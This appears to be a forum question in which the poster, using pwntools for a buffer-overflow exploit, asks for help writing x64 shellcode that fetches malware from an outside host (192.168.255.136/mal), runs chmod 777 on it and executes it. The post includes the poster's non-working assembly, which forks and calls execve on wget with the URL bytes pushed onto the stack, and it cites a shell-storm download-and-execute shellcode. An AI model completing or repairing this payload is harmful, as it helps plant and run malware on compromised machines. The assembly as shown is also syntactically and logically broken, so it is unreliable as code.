The problem is based on linux/x64 asm wget+chmod+exec
I have some questions to ask I am using pwntool for buffer overflow attack, I want to stuff the shellcode in the stack for him to run, I tested using execve("/bin/sh') and I can get the shell successfully, but now I want him to download the malware from external host, for example 192.168.255.136/mal and download After downloading, give him execute permission to chmod 777 mal and finally execute him . /mal
I tried to write wget to download external files but there is no request
The wget asm I tried to write is as follows
_start:
xor eax, eax
mov rax 0x39
syscall
xor rbx, rbx
cmp rax, rbx
je child
child:
xor rax, rax
push rax
push 0x6c616d2f
push 0x2f363331
push 0x2e353532
push 0x2e383631
push 0x2e323931
mov rsi, rsp
push 0x74
push 0x6567772f
push 0x6e69622f
push 0x7273752f
mov rdi, rsp
push rax
push rsi
push rdi
mov rsi, rsp
mov eax, 0x3b
xor rdx, rdx
syscall
this is my modified it by referring to shellstorm's x86 download+chmod+exec, but it failed
source : https://shell-storm.org/shellcode/files/shellcode-862.html